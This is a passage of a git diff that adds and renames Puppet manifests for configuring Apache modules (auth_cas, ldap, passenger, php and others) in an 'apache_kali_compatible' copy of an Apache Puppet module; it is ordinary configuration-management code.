$::operatingsystem =~ /^[Aa]mazon$/) { + # On amazon linux we need to prefix our package name with mod24 instead of mod to support apache 2.4 + $_package = regsubst($mod_packages[$mod],'^(mod_)?(.*)','mod24_\2') + } else { + $_package = $mod_packages[$mod] + } + } else { + $_package = undef + } + if $_package and ! defined(Package[$_package]) { + # note: FreeBSD/ports uses apxs tool to activate modules; apxs clutters + # httpd.conf with 'LoadModule' directives; here, by proper resource + # ordering, we ensure that our version of httpd.conf is reverted after + # the module gets installed. + $package_before = $::osfamily ? { + 'freebsd' => [ + File[$_loadfile_name], + File["${::apache::conf_dir}/${::apache::params::conf_file}"] + ], + default => [ + File[$_loadfile_name], + File[$::apache::confd_dir], + ], + } + # if there are any packages, they should be installed before the associated conf file + Package[$_package] -> File<| title == "${mod}.conf" |> + # $_package may be an array + package { $_package: + ensure => $package_ensure, + require => Package['httpd'], + before => $package_before, + notify => Class['apache::service'], + } + } + + file { $_loadfile_name: + ensure => file, + path => "${mod_dir}/${_loadfile_name}", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + content => template('apache/mod/load.erb'), + require => [ + Package['httpd'], + Exec["mkdir ${mod_dir}"], + ], + before => File[$mod_dir], + notify => Class['apache::service'], + } + + if $::osfamily == 'Debian' { + $enable_dir = $::apache::mod_enable_dir + file{ "${_loadfile_name} symlink": + ensure => link, + path => "${enable_dir}/${_loadfile_name}", + target => "${mod_dir}/${_loadfile_name}", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => [ + File[$_loadfile_name], + Exec["mkdir ${enable_dir}"], + ], + before => File[$enable_dir], + notify => Class['apache::service'], + } + # Each module may have a .conf file as well, which should be + # defined in the class apache::mod::module + # Some modules do not require this file. + if defined(File["${mod}.conf"]) { + file{ "${mod}.conf symlink": + ensure => link, + path => "${enable_dir}/${mod}.conf", + target => "${mod_dir}/${mod}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => [ + File["${mod}.conf"], + Exec["mkdir ${enable_dir}"], + ], + before => File[$enable_dir], + notify => Class['apache::service'], + } + } + } elsif $::osfamily == 'Suse' { + $enable_dir = $::apache::mod_enable_dir + file{ "${_loadfile_name} symlink": + ensure => link, + path => "${enable_dir}/${_loadfile_name}", + target => "${mod_dir}/${_loadfile_name}", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => [ + File[$_loadfile_name], + Exec["mkdir ${enable_dir}"], + ], + before => File[$enable_dir], + notify => Class['apache::service'], + } + # Each module may have a .conf file as well, which should be + # defined in the class apache::mod::module + # Some modules do not require this file. + if defined(File["${mod}.conf"]) { + file{ "${mod}.conf symlink": + ensure => link, + path => "${enable_dir}/${mod}.conf", + target => "${mod_dir}/${mod}.conf", + owner => 'root', + group => $::apache::params::root_group, + mode => $::apache::file_mode, + require => [ + File["${mod}.conf"], + Exec["mkdir ${enable_dir}"], + ], + before => File[$enable_dir], + notify => Class['apache::service'], + } + } + } + + Apache::Mod[$name] -> Anchor['::apache::modules_set_up'] +} diff --git a/modules/services/unix/http/apache/manifests/mod/actions.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/actions.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/actions.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/actions.pp diff --git a/modules/services/unix/http/apache/manifests/mod/alias.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/alias.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/alias.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/alias.pp diff --git a/modules/services/unix/http/apache/manifests/mod/auth_basic.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_basic.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/auth_basic.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_basic.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_cas.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_cas.pp new file mode 100644 index 000000000..00de62242 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_cas.pp @@ -0,0 +1,55 @@ +class apache::mod::auth_cas ( + String $cas_login_url, + String $cas_validate_url, + String $cas_cookie_path = $::apache::params::cas_cookie_path, + $cas_cookie_path_mode = '0750', + $cas_version = 2, + $cas_debug = 'Off', + $cas_validate_server = undef, + $cas_validate_depth = undef, + $cas_certificate_path = undef, + $cas_proxy_validate_url = undef, + $cas_root_proxied_as = undef, + $cas_cookie_entropy = undef, + $cas_timeout = undef, + $cas_idle_timeout = undef, + $cas_cache_clean_interval = undef, + $cas_cookie_domain = undef, + $cas_cookie_http_only = undef, + $cas_authoritative = undef, + $cas_validate_saml = undef, + $cas_sso_enabled = undef, + $cas_attribute_prefix = undef, + $cas_attribute_delimiter = undef, + $cas_scrub_request_headers = undef, + $suppress_warning = false, +) inherits ::apache::params { + + if $::osfamily == 'RedHat' and ! $suppress_warning { + warning('RedHat distributions do not have Apache mod_auth_cas in their default package repositories.') + } + + include ::apache + ::apache::mod { 'auth_cas': } + + file { $cas_cookie_path: + ensure => directory, + before => File['auth_cas.conf'], + mode => $cas_cookie_path_mode, + owner => $apache::user, + group => $apache::group, + } + + # Template uses + # - All variables beginning with cas_ + file { 'auth_cas.conf': + ensure => file, + path => "${::apache::mod_dir}/auth_cas.conf", + mode => $::apache::file_mode, + content => template('apache/mod/auth_cas.conf.erb'), + require => [ Exec["mkdir ${::apache::mod_dir}"], ], + before => File[$::apache::mod_dir], + notify => Class['Apache::Service'], + } + +} diff --git a/modules/services/unix/http/apache/manifests/mod/auth_kerb.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_kerb.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/auth_kerb.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_kerb.pp diff --git a/modules/services/unix/http/apache/manifests/mod/auth_mellon.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_mellon.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/auth_mellon.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/auth_mellon.pp diff --git a/modules/services/unix/http/apache/manifests/mod/authn_core.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_core.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authn_core.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_core.pp diff --git a/modules/services/unix/http/apache/manifests/mod/authn_dbd.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_dbd.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authn_dbd.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_dbd.pp diff --git a/modules/services/unix/http/apache/manifests/mod/authn_file.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_file.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authn_file.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authn_file.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_ldap.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_ldap.pp new file mode 100644 index 000000000..cc9ab67f0 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_ldap.pp @@ -0,0 +1,25 @@ +# lint:ignore:variable_is_lowercase required for compatibility +class apache::mod::authnz_ldap ( + Boolean $verify_server_cert = true, + $package_name = undef, +) { + + include ::apache + include '::apache::mod::ldap' + ::apache::mod { 'authnz_ldap': + package => $package_name, + } + + # Template uses: + # - $verify_server_cert + file { 'authnz_ldap.conf': + ensure => file, + path => "${::apache::mod_dir}/authnz_ldap.conf", + mode => $::apache::file_mode, + content => template('apache/mod/authnz_ldap.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} +# lint:endignore diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_pam.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_pam.pp new file mode 100644 index 000000000..c2672126d --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authnz_pam.pp @@ -0,0 +1,4 @@ +class apache::mod::authnz_pam { + include ::apache + ::apache::mod { 'authnz_pam': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/authz_default.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authz_default.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authz_default.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authz_default.pp diff --git a/modules/services/unix/http/apache/manifests/mod/authz_user.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authz_user.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/authz_user.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/authz_user.pp diff --git a/modules/services/unix/http/apache/manifests/mod/autoindex.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/autoindex.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/autoindex.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/autoindex.pp diff --git a/modules/services/unix/http/apache/manifests/mod/cache.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cache.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/cache.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cache.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cgi.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cgi.pp new file mode 100644 index 000000000..272f0ccd0 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cgi.pp @@ -0,0 +1,19 @@ +class apache::mod::cgi { + case $::osfamily { + 'FreeBSD': {} + default: { + if $::apache::mpm_module =~ /^(itk|peruser|prefork)$/ { + Class["::apache::mod::${::apache::mpm_module}"] -> Class['::apache::mod::cgi'] + } + } + } + + if $::osfamily == 'Suse' { + ::apache::mod { 'cgi': + lib_path => '/usr/lib64/apache2-prefork', + } + } else { + ::apache::mod { 'cgi': } + } + +} diff --git a/modules/services/unix/http/apache/manifests/mod/cgid.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cgid.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/cgid.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cgid.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cluster.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cluster.pp new file mode 100644 index 000000000..442b58352 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/cluster.pp @@ -0,0 +1,39 @@ +class apache::mod::cluster ( + $allowed_network, + $balancer_name, + $ip, + $version, + $enable_mcpm_receive = true, + $port = '6666', + $keep_alive_timeout = 60, + $manager_allowed_network = '127.0.0.1', + $max_keep_alive_requests = 0, + $server_advertise = true, + $advertise_frequency = undef, +) { + + include ::apache + + ::apache::mod { 'proxy': } + ::apache::mod { 'proxy_ajp': } + ::apache::mod { 'manager': } + ::apache::mod { 'proxy_cluster': } + ::apache::mod { 'advertise': } + + if (versioncmp($version, '1.3.0') >= 0 ) { + ::apache::mod { 'cluster_slotmem': } + } else { + ::apache::mod { 'slotmem': } + } + + file {'cluster.conf': + ensure => file, + path => "${::apache::mod_dir}/cluster.conf", + mode => $::apache::file_mode, + content => template('apache/mod/cluster.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + +} diff --git a/modules/services/unix/http/apache/manifests/mod/dav.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dav.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav.pp diff --git a/modules/services/unix/http/apache/manifests/mod/dav_fs.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav_fs.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dav_fs.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav_fs.pp diff --git a/modules/services/unix/http/apache/manifests/mod/dav_svn.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav_svn.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dav_svn.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dav_svn.pp diff --git a/modules/services/unix/http/apache/manifests/mod/dbd.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dbd.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dbd.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dbd.pp diff --git a/modules/services/unix/http/apache/manifests/mod/deflate.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/deflate.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/deflate.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/deflate.pp diff --git a/modules/services/unix/http/apache/manifests/mod/dev.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dev.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/dev.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dev.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dir.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dir.pp new file mode 100644 index 000000000..3c994d3e1 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dir.pp @@ -0,0 +1,23 @@ +# Note: this sets the global DirectoryIndex directive, it may be necessary to consider being able to modify the apache::vhost to declare DirectoryIndex statements in a vhost configuration +# Parameters: +# - $indexes provides a string for the DirectoryIndex directive http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryindex +class apache::mod::dir ( + $dir = 'public_html', + Array[String] $indexes = ['index.html','index.html.var','index.cgi','index.pl','index.php','index.xhtml'], +) { + + include ::apache + ::apache::mod { 'dir': } + + # Template uses + # - $indexes + file { 'dir.conf': + ensure => file, + path => "${::apache::mod_dir}/dir.conf", + mode => $::apache::file_mode, + content => template('apache/mod/dir.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/disk_cache.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/disk_cache.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/disk_cache.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/disk_cache.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dumpio.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dumpio.pp new file mode 100644 index 000000000..c79f6da38 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/dumpio.pp @@ -0,0 +1,18 @@ +class apache::mod::dumpio( + Enum['Off', 'On', 'off', 'on'] $dump_io_input = 'Off', + Enum['Off', 'On', 'off', 'on'] $dump_io_output = 'Off', +) { + include ::apache + + ::apache::mod { 'dumpio': } + file{'dumpio.conf': + ensure => file, + path => "${::apache::mod_dir}/dumpio.conf", + mode => $::apache::file_mode, + content => template('apache/mod/dumpio.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } + +} diff --git a/modules/services/unix/http/apache/manifests/mod/env.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/env.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/env.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/env.pp diff --git a/modules/services/unix/http/apache/manifests/mod/event.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/event.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/event.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/event.pp diff --git a/modules/services/unix/http/apache/manifests/mod/expires.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/expires.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/expires.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/expires.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ext_filter.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ext_filter.pp new file mode 100644 index 000000000..11550320c --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ext_filter.pp @@ -0,0 +1,22 @@ +class apache::mod::ext_filter( + Optional[Hash] $ext_filter_define = undef +) { + include ::apache + + ::apache::mod { 'ext_filter': } + + # Template uses + # -$ext_filter_define + + if $ext_filter_define { + file { 'ext_filter.conf': + ensure => file, + path => "${::apache::mod_dir}/ext_filter.conf", + mode => $::apache::file_mode, + content => template('apache/mod/ext_filter.conf.erb'), + require => [ Exec["mkdir ${::apache::mod_dir}"], ], + before => File[$::apache::mod_dir], + notify => Class['Apache::Service'], + } + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/fastcgi.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/fastcgi.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/fastcgi.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/fastcgi.pp diff --git a/modules/services/unix/http/apache/manifests/mod/fcgid.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/fcgid.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/fcgid.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/fcgid.pp diff --git a/modules/services/unix/http/apache/manifests/mod/filter.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/filter.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/filter.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/filter.pp diff --git a/modules/services/unix/http/apache/manifests/mod/geoip.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/geoip.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/geoip.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/geoip.pp diff --git a/modules/services/unix/http/apache/manifests/mod/headers.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/headers.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/headers.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/headers.pp diff --git a/modules/services/unix/http/apache/manifests/mod/include.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/include.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/include.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/include.pp diff --git a/modules/services/unix/http/apache/manifests/mod/info.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/info.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/info.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/info.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/intercept_form_submit.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/intercept_form_submit.pp new file mode 100644 index 000000000..39f1f5e07 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/intercept_form_submit.pp @@ -0,0 +1,4 @@ +class apache::mod::intercept_form_submit { + include ::apache + ::apache::mod { 'intercept_form_submit': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/itk.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/itk.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/itk.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/itk.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ldap.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ldap.pp new file mode 100644 index 000000000..3e5159222 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/ldap.pp @@ -0,0 +1,28 @@ +class apache::mod::ldap ( + $apache_version = undef, + $package_name = undef, + $ldap_trusted_global_cert_file = undef, + Optional[String] $ldap_trusted_global_cert_type = 'CA_BASE64', + $ldap_shared_cache_size = undef, + $ldap_cache_entries = undef, + $ldap_cache_ttl = undef, + $ldap_opcache_entries = undef, + $ldap_opcache_ttl = undef, +){ + + include ::apache + $_apache_version = pick($apache_version, $apache::apache_version) + ::apache::mod { 'ldap': + package => $package_name, + } + # Template uses $_apache_version + file { 'ldap.conf': + ensure => file, + path => "${::apache::mod_dir}/ldap.conf", + mode => $::apache::file_mode, + content => template('apache/mod/ldap.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/lookup_identity.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/lookup_identity.pp new file mode 100644 index 000000000..445c60ef2 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/lookup_identity.pp @@ -0,0 +1,4 @@ +class apache::mod::lookup_identity { + include ::apache + ::apache::mod { 'lookup_identity': } +} diff --git a/modules/services/unix/http/apache/manifests/mod/mime.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/mime.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/mime.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/mime.pp diff --git a/modules/services/unix/http/apache/manifests/mod/mime_magic.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/mime_magic.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/mime_magic.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/mime_magic.pp diff --git a/modules/services/unix/http/apache/manifests/mod/negotiation.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/negotiation.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/negotiation.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/negotiation.pp diff --git a/modules/services/unix/http/apache/manifests/mod/nss.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/nss.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/nss.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/nss.pp diff --git a/modules/services/unix/http/apache/manifests/mod/pagespeed.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/pagespeed.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/pagespeed.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/pagespeed.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/passenger.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/passenger.pp new file mode 100644 index 000000000..3b17d3db3 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/passenger.pp @@ -0,0 +1,115 @@ +class apache::mod::passenger ( + $passenger_conf_file = $::apache::params::passenger_conf_file, + $passenger_conf_package_file = $::apache::params::passenger_conf_package_file, + $passenger_high_performance = undef, + $passenger_pool_idle_time = undef, + $passenger_max_request_queue_size = undef, + $passenger_max_requests = undef, + Optional[Enum['smart', 'direct', 'smart-lv2', 'conservative']] $passenger_spawn_method = undef, + $passenger_stat_throttle_rate = undef, + $rack_autodetect = undef, + $rails_autodetect = undef, + $passenger_root = $::apache::params::passenger_root, + $passenger_ruby = $::apache::params::passenger_ruby, + $passenger_default_ruby = $::apache::params::passenger_default_ruby, + $passenger_max_pool_size = undef, + $passenger_min_instances = undef, + $passenger_max_instances_per_app = undef, + $passenger_use_global_queue = undef, + $passenger_app_env = undef, + Optional[Stdlib::Absolutepath] $passenger_log_file = undef, + $passenger_log_level = undef, + $passenger_data_buffer_dir = undef, + $manage_repo = true, + $mod_package = undef, + $mod_package_ensure = undef, + $mod_lib = undef, + $mod_lib_path = undef, + $mod_id = undef, + $mod_path = undef, +) inherits ::apache::params { + + include ::apache + + # Managed by the package, but declare it to avoid purging + if $passenger_conf_package_file { + file { 'passenger_package.conf': + path => "${::apache::confd_dir}/${passenger_conf_package_file}", + } + } + + $_package = $mod_package + $_package_ensure = $mod_package_ensure + $_lib = $mod_lib + if $::osfamily == 'FreeBSD' { + if $mod_lib_path { + $_lib_path = $mod_lib_path + } else { + $_lib_path = "${passenger_root}/buildout/apache2" + } + } else { + $_lib_path = $mod_lib_path + } + + if $::osfamily == 'RedHat' and $manage_repo { + if $::operatingsystem == 'Amazon' { + $baseurl = 'https://oss-binaries.phusionpassenger.com/yum/passenger/el/6Server/$basearch' + } else { + $baseurl = 'https://oss-binaries.phusionpassenger.com/yum/passenger/el/$releasever/$basearch' + } + + yumrepo { 'passenger': + ensure => 'present', + baseurl => $baseurl, + descr => 'passenger', + enabled => '1', + gpgcheck => '0', + gpgkey => 'https://packagecloud.io/gpg.key', + repo_gpgcheck => '1', + sslcacert => '/etc/pki/tls/certs/ca-bundle.crt', + sslverify => '1', + before => Apache::Mod['passenger'], + } + } + + unless ($::operatingsystem == 'SLES') { + $_id = $mod_id + $_path = $mod_path + ::apache::mod { 'passenger': + package => $_package, + package_ensure => $_package_ensure, + lib => $_lib, + lib_path => $_lib_path, + id => $_id, + path => $_path, + loadfile_name => 'zpassenger.load', + } + } + + # Template uses: + # - $passenger_root + # - $passenger_ruby + # - $passenger_default_ruby + # - $passenger_max_pool_size + # - $passenger_min_instances + # - $passenger_max_instances_per_app + # - $passenger_high_performance + # - $passenger_max_requests + # - $passenger_spawn_method + # - $passenger_stat_throttle_rate + # - $passenger_use_global_queue + # - $passenger_log_file + # - $passenger_log_level + # - $passenger_app_env + # - $passenger_data_buffer_dir + # - $rack_autodetect + # - $rails_autodetect + file { 'passenger.conf': + ensure => file, + path => "${::apache::mod_dir}/${passenger_conf_file}", + content => template('apache/mod/passenger.conf.erb'), + require => Exec["mkdir ${::apache::mod_dir}"], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git a/modules/services/unix/http/apache/manifests/mod/perl.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/perl.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/perl.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/perl.pp diff --git a/modules/services/unix/http/apache/manifests/mod/peruser.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/peruser.pp similarity index 100% rename from modules/services/unix/http/apache/manifests/mod/peruser.pp rename to modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/peruser.pp diff --git a/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/php.pp b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/php.pp new file mode 100644 index 000000000..c7c004888 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/manifests/mod/php.pp @@ -0,0 +1,94 @@ +class apache::mod::php ( + $package_name = undef, + $package_ensure = 'present', + $path = undef, + Array $extensions = ['.php'], + $content = undef, + $template = 'apache/mod/php.conf.erb', + $source = undef, + $root_group = $::apache::params::root_group, + $php_version = $::apache::params::php_version, +) inherits apache::params { + + include ::apache + $mod = "php${php_version}" + + if defined(Class['::apache::mod::prefork']) { + Class['::apache::mod::prefork']->File["${mod}.conf"] + } + elsif defined(Class['::apache::mod::itk']) { + Class['::apache::mod::itk']->File["${mod}.conf"] + } + else { + fail('apache::mod::php requires apache::mod::prefork or apache::mod::itk; please enable mpm_module => \'prefork\' or mpm_module => \'itk\' on Class[\'apache\']') + } + + if $source and ($content or $template != 'apache/mod/php.conf.erb') { + warning('source and content or template parameters are provided. source parameter will be used') + } elsif $content and $template != 'apache/mod/php.conf.erb' { + warning('content and template parameters are provided. content parameter will be used') + } + + $manage_content = $source ? { + undef => $content ? { + undef => template($template), + default => $content, + }, + default => undef, + } + + # Determine if we have a package + $mod_packages = $::apache::mod_packages + if $package_name { + $_package_name = $package_name + } elsif has_key($mod_packages, $mod) { # 2.6 compatibility hack + $_package_name = $mod_packages[$mod] + } elsif has_key($mod_packages, 'phpXXX') { # 2.6 compatibility hack + $_package_name = regsubst($mod_packages['phpXXX'], 'XXX', $php_version) + } else { + $_package_name = undef + } + + $_lib = "libphp${php_version}.so" + $_php_major = regsubst($php_version, '^(\d+)\..*$', '\1') + + if $::operatingsystem == 'SLES' { + ::apache::mod { $mod: + package => $_package_name, + package_ensure => $package_ensure, + lib => 'mod_php5.so', + id => "php${_php_major}_module", + path => "${::apache::lib_path}/mod_php5.so", + } + } else { + ::apache::mod { $mod: + package => $_package_name, + package_ensure => $package_ensure, + lib => $_lib, + id => "php${_php_major}_module", + path => $path, + } + + } + + + include ::apache::mod::mime + include ::apache::mod::dir + Class['::apache::mod::mime'] -> Class['::apache::mod::dir'] -> Class['::apache::mod::php'] + + # Template uses $extensions + file { "${mod}.conf": + ensure => file, + path => "${::apache::mod_dir}/${mod}.conf", + owner => 'root', + group => $root_group, + mode => $::apache::file_mode, + content => $manage_content, + source => $source, + require => [ + Exec["mkdir ${::apache::mod_dir}"], + ], + before => File[$::apache::mod_dir], + notify => Class['apache::service'], + } +} diff --git 